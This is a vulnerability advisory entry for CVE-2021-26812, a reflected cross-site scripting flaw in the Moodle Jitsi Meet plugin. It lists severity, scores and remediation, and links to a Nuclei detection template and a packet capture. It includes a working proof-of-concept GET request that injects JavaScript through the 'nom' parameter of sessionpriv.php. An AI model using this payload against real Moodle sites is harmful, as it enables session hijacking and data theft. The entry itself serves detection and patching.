| Title | Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting |
|---|---|
| Author | aceseven (digisec360) |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the Moodle Jitsi Meet plugin to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.19091 |
| CVE ID | CVE-2021-26812 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve moodle jitsi xss plugin vuln |
Moodle Jitsi Meet 2.7 through 2.8.3 plugin contains a cross-site scripting vulnerability via the “sessionpriv.php” module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject JavaScript code to be run by the application.
GET /mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2Fwww.victim.com%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26812.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-26812.pcap
N/AN/A